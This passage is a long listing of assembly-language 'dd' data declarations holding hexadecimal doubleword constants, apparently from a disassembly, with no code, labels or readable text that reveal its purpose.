		dd 0B491DD10h, 88EDAA9Dh, 0FF9A4E80h, 0C5DC4AC7h, 45AD3BD4h
		dd 33633AAFh, 452FD221h, 0D0A79D95h, 4FA51AE3h,	0C4734EF1h
		dd 0FB6B887Bh, 4F6BF972h, 2C56946h, 1EB1F169h, 8F25C748h
		dd 3B9A441Eh, 3B7C9473h, 44DDA6FFh, 0C9C99E6h, 0C33DAA36h
		dd 0DA89FB33h, 0E8B143D1h, 148ACCD3h, 53B9089Ah, 24D0D4FDh
		dd 7CC2F9C5h, 6167637Fh, 0F9D1B6E3h, 6C386E17h,	14E0C0CDh
		dd 737C192Bh, 6AA88E10h, 0FD5DCA74h, 809146D5h,	97F339C4h
		dd 0EAA5B501h, 0FB2B1ADAh, 93DCF172h, 3773BC1h,	76E6240Dh
		dd 1219BB45h, 4B30236Dh, 760D3AF4h, 0DA0214EAh,	0B0893A4Bh
		dd 0F3BA201Ch, 1362332Fh, 21E513C1h, 1975E05Bh,	1957D1D0h
		dd 0A48411ADh, 3C78342h, 53CDC026h, 0E2E334EDh,	9D0C311Eh
		dd 836ABEB1h, 8FD61D3h,	6AAFF515h, 0DAF6FB19h, 0CFC3F341h
		dd 4D8E0293h, 0C777999Fh, 0AB31A39Ah, 62B465D9h, 0BD9B194Fh
		dd 0C4759130h, 0CC895751h, 525C5FBEh, 0AA8B7A69h, 5D091DF1h
		dd 0A34DCD13h, 76C7AE29h, 42C200A3h, 57839B54h,	0C21095BAh
		dd 9BDA056Bh, 81E65406h, 54C2C705h, 0A444CB7Dh,	0B9CF78C3h
		dd 14FBC322h, 9123D3E7h, 0EB3F47Ah, 0C3B1BD47h,	0C7CAA618h
		dd 0F2DD0D0Ch, 0A52A28B2h, 142A6F4Ch, 260A7888h, 9BC27BD0h
		dd 0BBB607E2h, 2CD7D42Ch, 6BDE524Fh, 0D8E058BEh, 40D0F22Ah
		dd 21C1024Bh, 92CEF32Fh, 64FBE0E6h, 0B0B4EB2Ch,	0D91F84FEh
		dd 0B65C0185h, 117DDB2Ch, 0DCB3BF70h, 0EC296F91h, 1C4CA54Ch
		dd 0E1D13DE4h, 0F97EC184h, 0CE9B91C1h, 554F9E92h, 19DDBFh
		dd 0D1727EC8h, 31F566F7h, 7B742525h, 90CD08A4h,	2A3BB2B2h
		dd 4FFD5A1Fh, 112970A3h, 464541CBh, 8A3FEAB1h, 9EE9D0D2h
		dd 9E869C53h, 95C3557Dh, 0BC3D59CDh, 0E6B26C9Ah, 2C6453Bh
		dd 5BC0463Dh, 0F6855ACCh, 20FD57EFh, 0CB01FCDDh, 40EAA55Dh
		dd 0A91AEABDh, 7AA0FD32h, 0D2348B93h, 40B140D3h, 0A5D140Bh
		dd 4732F339h, 799B3CEAh, 3F8E1450h, 46189D0Bh, 6EBCC957h
		dd 0D2BB95D1h, 91F5DC30h, 3D65BF42h, 3B4B286Ch,	48C7BDC0h
		dd 0C577672h, 0F1A50A8Eh
		dd 0D5D5B92Ah, 80161848h, 0D8488203h, 53F2EA4Eh, 0DE7AAB48h
		dd 0D01AECE4h, 0E26B72BFh, 9846429Bh, 3A442690h, 7A9A53BEh
		dd 0CFB3C6F2h, 660A20DCh, 4B2338FCh, 8C2BBD56h,	0CE4B0A14h
		dd 802819Fh, 0CF8CE153h, 84E6E7E8h, 2535A361h, 999E7EBh
		dd 2A687C05h, 0B703DAFAh, 5BA100CAh, 74FCC293h,	0F67DE81Bh
		dd 0D1241793h, 0A1B37BE7h, 12B7E08h, 0E664701Dh, 5AC51FB1h
		dd 2DCE2FD3h, 2AECD04Ch, 0C2AAA9DEh, 0F131FFE8h, 206C9900h
		dd 5E0BFC38h, 83C2F3BBh, 45E418C8h, 8A4715CBh, 9382852Ah
		dd 55C2D3D5h, 0E36E1AFAh, 0D32EDF42h, 7DC8D8D5h, 98ABFDDDh
		dd 0ED1A399Eh, 0F52E8F8Fh, 0BF1A51ADh, 7ECF9749h, 0B00EB983h
		dd 10F0191Dh, 985F5732h, 63C8E881h, 0F1C704C3h,	962085Fh
		dd 54F7B4DDh, 17832BD3h, 30EACD48h, 1000A0D7h, 4B34BF32h
		dd 7CD077C4h, 0D60ABC11h, 664D063Bh, 0FA507648h, 334F15DFh
		dd 72463D09h, 4293AD8h,	2A2C893Ah, 51678CB4h, 0A4FFBC37h
		dd 7F001E6Ah, 0C6E7B948h, 0E3199E62h, 1BEA587Bh, 1EBD4243h
		dd 7876A97Ah, 0A05FA5C8h, 0FECCFD49h, 0FEEC86F1h, 0CBD42C3Bh
		dd 0A9083344h, 292B0FF2h, 0EF48F8A8h, 5E42BD3Bh, 835D453Eh
		dd 0A65A2784h, 0A4F4EAECh, 0AA3F50C1h, 0C56378EEh, 49E5E3A9h
		dd 2C3911FBh, 2C3C2B27h, 535C9E68h, 0A62012D9h,	0ADE87AB4h
		dd 1B5EB84Eh, 0A39F27A1h, 0CE657AEBh, 0B1D229ADh, 100F14DDh
		dd 8C61AE4Dh, 9555379h,	36D20181h, 38AA08C0h, 0EFA67B44h
		dd 5F453E00h, 9CC64379h, 0EE7BCEB3h, 427EFC1Ah,	0BBBC6949h
		dd 833717AEh, 73C4702h,	34FF8C8Fh, 48D7EADEh, 4016B25Dh
		dd 1F4FDFF7h, 2440A70Ah, 0AE0E46A0h, 0F870CED9h, 0DEA92F4Ah
		dd 0EDE66EE4h, 9F49CDC0h, 35919040h, 0F1CB49D9h, 0DFB32DEDh
		dd 0C54D7450h, 6957BA3h, 0A89CAA85h, 0D75AAC48h, 0F41DAFCEh
		dd 98937876h, 0B1E85C18h, 0D5D33C75h, 61ADCAB4h, 478FF014h
		dd 0FBDC8C2h, 0A44044F3h, 0E61F19D4h, 0EBA729CFh, 3BF1971Bh
		dd 0A037A57Ch, 0FA0D45BDh, 0ADD15600h, 0E5869D26h, 921DC122h
		dd 0AA89FA8Fh, 45D3410Eh, 11950846h, 3A73DE08h,	0E1C9050Bh
		dd 1452F5C7h, 8187B39Eh, 0A88E8E8Ah, 8842D4Fh, 6D43B001h
		dd 2883547Ch, 8462D30h,	0EBD3B889h, 20BC99F3h, 28523076h
		dd 95CD94F6h, 839BFA6Ah, 0BE1EB598h, 0C8FB6293h, 544F49D2h
		dd 0F8DD8790h, 0A9955DBh, 0FBCFCB5Eh, 0A1379E51h, 97AE90F0h
		dd 0FE9500B7h, 0EF47A56h, 8BE4135Ah, 0FBB4D054h, 60210AC3h
		dd 0FAAC4060h, 0EECE904Fh, 6DF36B1Eh, 0B999F25Ch, 7387767Ah
		dd 80B9F36Fh, 0D466285Ch, 91098DAh, 689EA7AAh, 0B70F85CBh
		dd 60E7941Dh, 4E46B57Ch, 8024CB5Ch, 1131F56Ah, 23A9B0F7h
		dd 90E00055h, 9352F5A3h, 0DCD6E428h, 163876BAh,	0D78FDF4Fh
		dd 6378466Eh, 0FCB661Eh, 0EB70D94Bh, 0AE1A78DAh, 7CFAD87Ch
		dd 0BDFAA798h, 89E65879h, 63FE784h, 0F908B8E7h,	87EA654Fh
		dd 365756Dh, 7548F7B5h,	0D53C318Bh, 0C68C9BB2h,	6CD564A0h
		dd 0BF957E7Dh, 5A18EEA0h, 3E6FE7CBh, 5AA97D96h,	0FF5729AAh
		dd 97A10A9Fh, 0B6EFC2F3h, 134E6D8Fh, 1617E64h, 0FCFFC847h
		dd 3C610BD3h, 4AE83B6h,	0E1F3244Dh, 0CB856497h,	0CAA56317h
		dd 0F890035Bh, 0A058F1FFh, 531B719Ch, 633FAC04h, 8E75A7CAh
		dd 313FCCCDh, 0D9F43B59h, 206C38F1h, 0BB7A33B5h, 0A6A1CAFEh
		dd 2FB0EB87h, 998EEAA1h, 84F8F39h, 17F43B75h, 0E24A1350h
		dd 0F69479ADh, 3EEFB37h, 0A08FF109h, 0B3B9694Ch, 918A7AA0h
		dd 60EB332Eh, 4D5DD110h, 0ECC4FF7Eh, 13EA636Ch,	0FC37AF48h
		dd 0E32EDAABh, 0CF4EFD90h, 4B8B0A75h, 18EE8F0Ch, 4A6202EBh
		dd 2FFCEEAh, 695FB24Ch,	3E43E12Bh, 1466E939h, 0BC962423h
		dd 0B57328C9h, 0D91E202Bh, 0DF6A5F51h, 93CB961Eh, 7FAAC4Bh
		dd 6CCFC2AEh, 0BB37C24Fh, 0CDE15C65h, 3586C0D0h, 0C4E35E19h
		dd 0C0A931Bh, 4BB16B6h,	66B0BAC2h, 0B5F4A5FFh, 0F96595C0h
		dd 2D067AB3h, 2A7F89BFh, 0A1911335h, 62CE6397h,	87748E5Ah
		dd 10795FE3h, 9292CBDh,	0C1BFE327h, 180C77DFh, 0CED9CE53h
		dd 3A42E2h, 378C0B5Eh, 3FD7B2F1h, 0CC87F87h, 9CDCCB70h
		dd 81308EBEh, 99E98EBDh, 0EBFDAEF9h, 0B340F671h, 189CA3A9h
		dd 49E49990h, 0C7E250C3h, 74883507h, 676247AFh,	6636C94Ah
		dd 0F01B001h, 0B19C39D3h, 7A099F6Bh, 7AB97997h,	8D9A84DAh
		dd 0CD72C323h, 21A04E86h, 1B8EDA2Eh, 91290804h,	47E7410Bh
		dd 3E9F1133h, 47C5443Ch, 79033C81h, 809C4B26h, 8758AC6Eh
		dd 499EFA0Bh, 76E8488Ah, 5E00B5Dh, 6B525689h, 0FE286C3Bh
		dd 0C0F61D56h, 1AA16FC9h, 43A27549h, 6E01DF93h,	2A4D5684h
		dd 1F913BA5h, 18B1ACE2h, 0BA03E35Ah, 0A4AC578h,	5621ECA6h
		dd 0AFCB1053h, 0D6184D38h, 104135E9h, 0D8C9BF0Bh, 9AEF0548h
		dd 2B872AD5h, 6C84BF6Bh, 89D0D6B7h, 0AA9299BAh,	7CAB3446h
		dd 500E7043h, 0AFFE898Ah, 0AA41E15Bh, 5F3FF894h, 15279CB1h
		dd 5FA4B030h, 0E8FFFFA1h, 73BE098Fh, 0AF4E6079h, 714AAB5Bh
		dd 36E416D2h, 7F5C2C0Ah, 0F10D9689h, 0F0756BFBh, 42E54B3Eh
		dd 6B77CB20h, 0EAF65BDCh, 6D83B7CEh, 0C3DAEACDh, 26E56794h
		dd 434EE6F4h, 0EDF1C8C8h, 3E540A96h, 0AA1CBDCAh, 63A9FEA7h
		dd 907E952Eh, 64C9AA6Eh, 392BE2B2h, 0AC1E533h, 0BB0EC904h
		dd 0F35CED24h, 59CB8BCEh, 1E69BDF9h, 0BD9331F0h, 0D0BC7DF4h
		dd 0A27120B1h, 0F2975DBCh, 94565457h, 9553005Ah, 0DE9FC17Ch
		dd 8E23A315h, 0A8DA120Ch, 82F406D1h, 70042485h,	0BFC2E6DBh
		dd 47E54019h, 557DFA70h, 49E88F54h, 0FCF2C12Eh,	0A711189Bh
		dd 0F16B6EDAh, 7EB60D11h, 0F24F128Bh, 1ACA0944h, 0C7FF847Fh
		dd 0BDF12E14h, 76260503h, 0B477CE69h, 9630BA77h, 83CAD4EDh
		dd 0B2D7CB88h, 90CDF04Fh, 0FBBE7193h, 0BC2236Ch, 0AEFEE467h
		dd 3115B95Ch, 0D92718A6h, 2DE1F48Ch, 0A4E4B0D5h, 86518199h
		dd 956A2F71h, 67651D4Bh, 0D0827B18h, 930C9876h,	72BAABADh
		dd 0EEC83909h, 61DFC861h, 0FFF8D970h, 92D76F44h, 2C634457h
		dd 6BB5DAEAh, 0F1FFF386h, 84ABB566h, 3CC3FDA8h,	0F9E5288Ch
		dd 0B95E6416h, 0AC051CE2h, 0DCF90917h, 6A3F4433h, 80D2D669h
		dd 0BA802C7Bh, 9EB49F01h, 0E8707B04h, 99B806E0h, 4886F889h
		dd 95DC7F5Bh, 0A7870F7h, 0D5BD83BFh, 0C36F377Eh, 95C3301h
		dd 7C566BC6h, 0E17E0001h, 5132D092h, 0CE691150h, 0A23A0B0Bh
		dd 0FDEFDC0Bh, 0FD5FB213h, 606D77Bh, 19E60D55h,	0EB814BCFh
		dd 597C0B64h, 0A088D3BCh, 41C413h, 769F6318h, 52C51CE9h
		dd 114A23FCh, 0E5E5FA99h, 0CD720375h, 0F6437DC1h, 42A1EC4Ah
		dd 98D47EF7h, 7CAB217Dh, 0AA6006F5h, 31B3C007h,	68083135h
		dd 49410674h, 0F09C6461h, 0A553A441h, 44F757EEh, 93F87C94h
		dd 924DE42Fh, 0D32E88DCh, 50CA5D03h, 0E8549D52h, 0B7837319h
		dd 26A8E1F2h, 534D41Bh,	0AE7EE040h, 0A9E36F5Eh,	0F3786DECh
		dd 0ACF96450h, 98E43A60h, 0D09BCEAh, 66EBDADAh,	0E4F4ADF8h
		dd 0BF6F01DAh, 76C63E32h, 475D9000h, 64051296h,	81E5FA93h
		dd 41935989h, 9A1F4BDEh, 0E80AA760h, 7459E522h,	14E7F0BEh
		dd 66262A96h, 7AC16F9Fh, 0F083CE2Bh, 788575E8h,	36040595h
		dd 32DD736Bh, 4CEC648Bh, 0C212D7CCh, 0B464B196h, 0CE61435Ch
		dd 71885C93h, 711AB487h, 0C60C2EEEh, 1063D260h,	0BF97724Ch
		dd 0C79B96AEh, 0F5DD88Fh
		dd 0FF6AA162h, 56303412h, 47F6E534h, 34808A40h,	0C4109093h
		dd 48FC941Dh, 0B303DB65h, 2C37F9ABh, 7E5C905Eh,	82B4836Ah
		dd 97A2E9D4h, 7C146FCBh, 90B17C04h, 20D968F4h, 0A20BEEDBh
		dd 1E85485Dh, 242407FAh, 4FCC0FE3h, 0CA85CBCh, 3F213CD8h
		dd 8407D7FFh, 70D2FA6Dh, 659EA230h, 20B8A642h, 6677BB80h
		dd 0FA243346h, 370D9B11h, 5AA38323h, 488D3A6Ah,	0DDFC356Eh
		dd 0A8E1F295h, 50207CECh, 308C2BE4h, 6DA5E422h,	3004557h
		dd 305CAB80h, 2494AFA0h, 6610DD41h, 43DD984Dh, 99A6EAA7h
		dd 8FF0C644h, 0D2C0315Eh, 0E66C2357h, 3BCFAAD4h, 576E9209h
		dd 0A389A4B9h, 2DCB6CFEh, 0D9CFC353h, 0C4989120h, 0E3E305C4h
		dd 591B2492h, 8D9CC69Fh, 509A552h, 82F835Bh, 0FB33D568h
		dd 0F03F9C1Ch, 2D68338Eh, 4D0FF65Dh, 0CADCCFECh, 8F22C66Ah
		dd 8175EEE8h, 0D2BF7888h, 0AB908651h, 5D33DE51h, 0FAC69153h
		dd 5E38F9C3h, 0C4606BA8h, 0D81A1D21h, 18FCF7A9h, 80407C5h
		dd 0D7F9D87Ch, 2DFC021Ch, 442D7BCAh, 0B72058BAh, 0FA2A3913h
		dd 0B4747E3Eh, 93107AFh, 39243FB0h, 2317308Dh, 25558E46h
		dd 133DEA3Eh, 94928890h, 19589396h, 938C205Ch, 0F1B80583h
		dd 145E3DA8h, 913A2FC1h, 86A10C0Dh, 2FC7400Ch, 0E75B9FB6h
		dd 0A67F00C1h, 9637B13Bh, 0BAA5F9D1h, 0B5A24A59h, 1DEE941Bh
		dd 3F3AA80h, 0EF6D2D1Fh, 80FA47F4h, 727CA1DBh, 6EDCC35Ch
		dd 0CDF13756h, 0C8F32D25h, 894D3618h, 9933A3DBh, 4AF893D8h
		dd 0C2285DE9h, 6D7F0620h, 5125DF9Eh, 0D9FC3E01h, 0EB3BC661h
		dd 59728914h, 7ACF0D9Bh, 48D1202Eh, 0DE5AE355h,	0DF447D6Dh
		dd 0CBF8E76h, 0C5446B3Ch, 0B57CACF8h, 58A96B6Ch, 62087646h
		dd 0F27B76CEh, 261E628Ah, 40401B5h, 5FA25A01h, 6FC50BBBh
		dd 27209616h, 0AE3049FDh, 0BBB653Eh, 7AAF3ECBh,	0F546209Eh
		dd 9B5F8F1Ah, 18BFFAA7h, 509C6121h, 98D4751h, 5E44EDE6h
		dd 46A6A028h, 642AA34h,	542202FAh, 3258086Fh, 88B33CCFh
		dd 4EB85BBBh, 285DFDE2h, 0E7E8E63h, 0CD84991Fh,	1568DD04h
		dd 0CEFC936Fh, 0AB4CD44h, 0E4EA4BA6h, 30CED2F5h, 0FF339BE4h
		dd 0A30B2FE4h, 2FC4E6Dh, 1C74984Dh, 0AA34E497h,	25FEF65Bh
		dd 0E4B9F999h, 8666AEB7h, 33F27044h, 2A0F2AA0h,	0C565AC94h
		dd 3D62F286h, 706037Fh,	1D2F925Dh, 0EF97EEC9h, 0E4EE7F4Bh
		dd 6258389Ch, 0DCAF3526h, 9BC9238Ah, 287BD7E2h,	1AF35AE5h
		dd 3BAD81E6h, 0F9F7FA8Fh, 2DBA8D4Fh, 2CA7F4F0h,	963520D1h
		dd 0EB76E176h, 0C3B9F9D8h, 0B238F585h, 3CB0E0ECh, 0FD252375h
		dd 101CCC04h, 0DD926EF0h, 2F04D87h, 84FE97F5h, 847C0508h
		dd 2D92F6F3h, 0B2B9D7F1h, 0DEAB51C5h, 0BA5B12AAh, 0BA987F85h
		dd 1B9B5537h, 0B1E761B2h, 2C3C0FDEh, 500448B3h,	0A8B41745h
		dd 51368DC1h, 39AC3D0Ch, 47E6AF2Fh, 0AEF221F1h,	0B7025FA7h
		dd 984F4AB2h, 8507B602h, 290DA551h, 0B439ACCh, 7C8CC798h
		dd 56607034h, 4BED05D2h, 0A748C447h, 85B17DF8h,	2C144452h
		dd 7817367Ah, 0D66F6412h, 9267CFBh, 3F22CA51h, 6650D082h
		dd 2A5C34D8h, 9615C060h, 7DC7E7AAh, 0DF9073ABh,	89C2D1EFh
		dd 78F4B444h, 8F2CDFC2h, 2739AC13h, 100D3008h, 984E8DBCh
		dd 0BA288B57h, 3EB0D7Ah, 0F5B7D05Bh, 386D1C34h,	9F4D4039h
		dd 54C20616h, 59A24BD7h, 86F00459h, 8A18202h, 0A42E1CA6h
		dd 980104FDh, 3FF48040h, 1CD2DCE6h, 2501C717h, 880249B0h
		dd 532E58BBh, 7BD38951h, 0E7BC5064h, 0AADB1743h, 0BD90685Ch
		dd 0AFCE5636h, 687CBA18h, 4ACEA14Ah, 8F4CCCA0h,	4E02DD0Ah
		dd 883C6C32h, 0B34893E4h, 774066EBh, 4D909B15h,	70FD00A7h
		dd 50FC84FAh, 54062298h, 0A3008CB9h, 70D72D59h,	3E69567Eh
		dd 56473899h, 7337343Fh, 87212505h, 36E518B8h, 266EF111h
		dd 33CF4C0h, 636D6917h,	957FF408h, 8CADCD4h, 0B82D1F13h
		dd 4F33D2A1h, 0E54B25FAh, 259C1ECEh, 0E5D0965h,	99A45140h
		dd 0B0DDF94Fh, 35D91D31h, 0F669B05Ah, 0E29A2E7h, 456DF059h
		dd 4FBFB44h, 8A84CB67h,	0FF38F5C3h, 0FB40DC34h,	0F75C8E23h
		dd 3E363BA9h, 6674CCBFh, 5C3B4442h, 0A246A983h,	0A9CF96A9h
		dd 0CF109105h, 24E9549Dh, 0AC0F530h, 47C7C3F7h,	70F7490Ch
		dd 0F0FA2DBFh, 44603CB8h, 0D26A526Ah, 8A623FC6h, 67805F43h
		dd 9B49A76Bh, 6492B490h, 31AC14B7h, 34D894D4h, 0F7E22C57h
		dd 0A2AE84DEh, 781E8F99h, 79CEA526h, 3EAE3842h,	0D8E17DB9h
		dd 0BB76B5D3h, 3BD0DEDBh, 47EFC85Ah, 4C9D0F9Eh,	0E05A43FEh
		dd 250E478Dh, 7BD4F010h, 60115C4Dh, 0E944A914h,	17BE1CFEh
		dd 0B3BC4587h, 0AC28085Bh, 38C73DC0h, 5F67DB5Eh, 30002CCh
		dd 3BC9A128h, 0B4E1BFD1h, 5320D602h, 9A425DAEh,	695B7E9Bh
		dd 0E5D907D6h, 0FEAA37ABh, 1784F016h, 855A9B00h, 14823E30h
		dd 1446F17Eh, 40D2A64h,	64DC5608h, 755801B9h, 0E47F89D3h
		dd 323D5185h, 81567F7h,	984DD298h, 3C88E5FFh, 5CF1E774h
		dd 2A3802A1h, 95F9458Fh, 74610AC0h, 320ADFE4h, 0D7504131h
		dd 1143C47Fh, 23127AF2h, 0E17B5888h, 43581903h,	38B00EAh
		dd 2C82E033h, 0EB65B69Eh, 1E5F4867h, 0F96EBF43h, 3E821324h
		dd 3D7F952Ah, 0CA2168A7h, 0CC771104h, 0E372BABCh, 0B86D1C27h
		dd 0B76A8847h, 7A3EDD9h, 69CFB17Fh, 0C039629Ch,	0AC836D19h
		dd 15FDA9A0h, 9578363Ah, 0DF392126h, 1CB23AE3h,	81CE0F4Ch
		dd 26840BBDh, 0E40926DEh, 10C3C5A7h, 0CC59BD27h, 0B43CA47Fh
		dd 73547932h, 16DA45ACh, 659E3E63h, 1882503Eh, 0F4C70BC0h
		dd 6557E590h, 124B685Ch, 0CC0979Fh, 0AB1ACF50h,	0B042E0EFh
		dd 4E1D261Dh, 0B845CD27h, 627A52F3h, 6C800265h,	0F07321E6h
		dd 0C11D8EF9h, 84330D1Eh, 0EE087AE2h, 95E2C574h, 6F65FCBh
		dd 1F0FB479h, 0B78F9E21h, 2D2A3C36h, 0C06F8E88h, 6A6247A3h
		dd 626D8450h, 56B65587h, 7FE819D8h, 74CEDF00h, 0D3A41D43h
		dd 40A6559h, 208A98F7h,	5C606C8h, 8D6AE24Dh, 93EB9A1Bh
		dd 13A7118Bh, 706BD3B7h, 6C4E14C6h, 271612FEh, 0F6420CDAh
		dd 42062103h, 0CB80C7E1h, 4692B42Ch, 6DA4A31Eh,	6394BAFEh
		dd 0FCB15F9Ah, 0ECA7F453h, 0F00AB10h, 0B2CF11A8h, 0E7D72192h
		dd 0A223664Fh, 5C0DEDCBh, 128142E6h, 563E4997h,	0F27738Ch
		dd 0CA5FC9B3h, 58597863h, 810E5711h, 27D96DC4h,	0E98AB91Eh
		dd 3839AFDBh, 0DD6B66EEh, 0E74F021h, 0C84E64F1h, 0E2DEEE11h
		dd 0A54F5166h, 1299DC98h, 0B67741F8h, 20B2EC52h, 94840D75h
		dd 0C979A963h, 4314C09h, 82661519h, 47143C47h, 4F833068h
		dd 50E3E427h, 3DE17188h, 1D7F13D6h, 0CB0E295Fh,	0C1B72FF7h
		dd 0B3777221h, 1A199FC4h, 1DEFCFB4h, 0E71D3E6Dh, 2ECC3E32h
		dd 53EDDDB8h, 5295440Fh, 0DD9B74C4h, 87E49F43h,	626A7B24h
		dd 0B0DDE66Dh, 0BA03485h, 69D3FD2Dh, 0E361B75Fh, 6E781440h
		dd 0EE4F1C69h, 264F8FB1h, 4C77499Fh, 50AE77E0h,	0D6CE632Ah
		dd 0FC479A28h, 3573D625h, 8B449BB1h, 0B534B17Dh, 69F2379Fh
		dd 0DC98EA73h, 0C4DD9D6Dh, 2B6CD819h, 0D41E434Dh, 469A7888h
		dd 50E9AF65h, 0F835DDA9h, 0F168C1F2h, 85334CD8h, 0EF59EBE6h
		dd 0FEDFCC57h, 8BD6C935h, 0ED8BADE3h, 0C11BFFAAh, 7B8C9D08h
		dd 0FE71BF3h, 220FDB67h, 0D347D27Ch, 0BC5E7A59h, 8165FEE4h
		dd 0C1A97732h, 0CE1F830Ch, 0CCEC787Ah, 1E19B938h, 0AEB12771h
		dd 0AC08077h, 0A0264DF9h
		dd 6694A4A8h, 0A5CBD8C3h, 707C1409h, 3EFB444Fh,	0E21328D4h
		dd 0A2408BFFh, 3DA70B08h, 6EB75F26h, 47FBF85Ch,	43F95142h
		dd 0E353EB9Eh, 7042927h, 0FF077C7Fh, 0A5874AFFh, 9E15BA26h
		dd 21DE63CBh, 0A4B16C4Dh, 0A2308E4Ah, 0D4FE1E55h, 0CB21182Eh
		dd 251EE51Eh, 8A7940E0h, 7B1487B0h, 8C1318F2h, 0CEA104F4h
		dd 2ED4B5E3h, 0C38F2F22h, 13F45A1Eh, 0E28BCD80h, 2A2194CDh
		dd 990C6D51h, 948371DDh, 67625117h, 20253CAEh, 7C03428h
		dd 682A745Fh, 4224CDBBh, 90567AEh, 0F6E41B37h, 4F386FAFh
		dd 0F9307609h, 72A13044h, 5AB3618Eh, 0E7CBD33Bh, 10763F1Dh
		dd 0E5834A05h, 9007BFBFh, 63C3BD8Ah, 843923E2h,	0EE4CB8A0h
		dd 0A9AC7EC3h, 0EF3C86A0h, 0AEAB7616h, 0E8DFB89Dh, 0B4B9EFE9h
		dd 53D2A6FFh, 915998CBh, 7DA84A44h, 0A85C9FFEh,	0A2AB16C0h
		dd 1BE6C8A6h, 824F06EAh, 3C08ACA2h, 594C1858h, 52F253D0h
		dd 49DE2815h, 2CAFEE9Fh, 0EF9D3351h, 0D4A0F3C9h, 3ED845CEh
		dd 0B68C26EFh, 0B12CA119h, 4E2B7F60h, 73779FB0h, 7D6E43BEh
		dd 85930EB7h, 0C1509106h, 9E155B7Bh, 2180D404h,	427451E6h
		dd 205B0943h, 8517E416h, 7F424A63h, 3944764h, 4BC557D1h
		dd 122FEC2Ah, 62BE6F26h, 4E0B1FBEh, 2024AE8Ah, 1D43A7C9h
		dd 0EA5CACBEh, 0FCBF2443h, 0CDD3C45h, 3604B7BDh, 0A550639Eh
		dd 0A4CE98C4h, 0B797F687h, 78EB3A59h, 0E7AD5502h, 1DBCEA1Fh
		dd 3A0859C4h, 0A5853133h, 0DAA0E185h, 3759430Ch, 0E5B68631h
		dd 69B5426Ah, 0E99B3A24h, 9DC3A784h, 0AEF9B5C7h, 9596B615h
		dd 0AC83EB0Ch, 7E9894C3h, 6A476C25h, 0DD55F428h, 0C0E2850Ch
		dd 2E2D50BAh, 0F8EA35Ah, 0A73C75E3h, 0B03EAACDh, 0D02E8081h
		dd 0A535247h, 0A0F5925Ah, 2F73E5AEh, 0DA5AB6F6h, 8AE6D2C9h
		dd 0E5F9F67Fh, 9E37C4Dh, 0C1A43AC2h, 0C6BD7DEh,	0BEE95CD2h
		dd 0DDFBA906h, 7296922Ah, 7CF43490h, 27E7AFB5h,	0E6C7FD7Ah
		dd 44F53F14h, 0FDCE41DAh, 0A45706CCh, 0F4075BF0h, 0B571B6EAh
		dd 12F2D10Dh, 9AFECE0Fh, 0BBBDEAB1h, 52D78E43h,	9E37F835h
		dd 27EC826Eh, 0FCA15D07h, 64CAD571h, 506E9Ch, 29644150h
		dd 16FC9F7Eh, 3F4E9D53h, 0E99EE763h, 94475F1Ah,	85E3A431h
		dd 29244700h, 0E81BA2B1h, 1A50E3FDh, 0D7C9B022h, 0DBA0247Ch
		dd 0C9B83960h, 820165ACh, 0EDBBFA62h, 0E19C0E00h, 4A674A07h
		dd 388C1D0h, 8C11916h, 12A316BCh, 0EBB4EB9Eh, 36993420h
		dd 5DF3C15Eh, 0A6DCBB98h, 531ADCACh, 0ACE57D69h, 13E6BFA6h
		dd 27684A7Dh, 220738E1h, 55A4C6AFh, 954B85E4h, 77474555h
		dd 0CDB7BE9Dh, 924455F4h, 2D3FF13Ah, 0D4123EFBh, 377B2A25h
		dd 3C7E50A5h, 61060064h, 211E6F6Dh, 7601149Bh, 5D3C9846h
		dd 45D43965h, 23997282h, 0BF66909Fh, 0CB01094Bh, 13D1DFB2h
		dd 926A91B4h, 23CCA15h,	2C5297A2h, 0DFEA6EB7h, 9E9A9CEBh
		dd 32C332CDh, 84ECEBBFh, 0F281DFD4h, 76868F60h,	62C32586h
		dd 0F28268Ah, 0C64269BFh, 3A392CBBh, 84DE3551h,	0D7F00643h
		dd 0FCB0DDB3h, 611C6026h, 328A5405h, 0F14F3901h, 7EFFA51Fh
		dd 7D2D7ECh, 0D4ABB9AEh, 312A1090h, 7DD75ECCh, 0C0396EF9h
		dd 0CB7BDD3Eh, 1A30AF5Ch, 74602049h, 26C8106Ah,	85ABFD69h
		dd 0A8973C7h, 16E938E9h, 4300FF0h, 0A43C8633h, 0E22BE0E0h
		dd 6806CB6Bh, 80ADEA2Eh, 612A36AEh, 8C4F5E6h, 9C7137EAh
		dd 1C09B70Dh, 0D1B7F06h, 0E333355h, 8F40A8B6h, 0A9E0C7B7h
		dd 31DFF6C7h, 0B1197FF4h, 0FA22C30Ah, 87862412h, 0A594E226h
		dd 0B01D6A0Ch, 6D1E21F5h, 7A2C52D0h, 1C25F1Eh, 0FC31F987h
		dd 0C89A959Eh, 0A1A36A85h, 9566849Fh, 0DAC0141Ch, 0DF2AD532h
		dd 5BDBCFCEh, 4D0864F4h, 0FAE11323h, 8D735857h,	5A2E219Ch
		dd 5A606B24h, 0FDFC5854h, 465D7655h, 0AE16E7F1h, 2F2900C9h
		dd 0E7DE481Eh, 0E4F005B8h, 28DA8967h, 5D7E7A95h, 0A16B8DF7h
		dd 117E353Fh, 4C89FB26h, 0A64BEAB3h, 9FACEC7Ch,	36CD2BB3h
		dd 6A159B42h, 2D3E3466h, 88AB3908h, 1AEDB744h, 0B3E1ABB9h
		dd 0DD90D48Ch, 0AD4E2EA3h, 41D99913h, 8C19442Ch, 3CF0F036h
		dd 6205897Ch, 0DF4C654Bh, 0A8C3C8E1h, 0F76D4217h, 0C9A64DF5h
		dd 2DE5EE6Ch, 0E223A661h, 0E470E5D3h, 0FDF9B372h, 0F6B9F31Bh
		dd 6E7D5213h, 6FF3CC14h, 0EA2B2C84h, 1D34AA78h,	8938C265h
		dd 4D13995Ch, 0BDA22A79h, 0E65A666Ch, 0DF76D4F8h, 19EC94DFh
		dd 0A1596CDCh, 8C0E830Ch, 4F873F3Dh, 60997C80h,	8FE0FD5h
		dd 0C3F52FD1h, 927DF2ADh, 4F269F38h, 4239D769h,	4F6D0737h
		dd 0CE493E1Dh, 6542F535h, 43276EFDh, 0F6F5F7h, 4A696665h
		dd 0AEF937Bh, 496D7E0Ch, 5073D0D2h, 864C8F76h, 0FA85DF5Dh
		dd 0D5944AB5h, 8BB5FE1Bh, 4C318C5Eh, 84590020h,	0AE89C3Dh
		dd 18525D7h, 64718089h,	96B8F4AFh, 406F010Dh, 9270FD21h
		dd 394C5B04h, 6D7A8C92h, 0E79DFB2Eh, 39E642DBh,	0B1AD02CDh
		dd 15C12096h, 403F3821h, 48828103h, 40888453h, 0B7FF97F1h
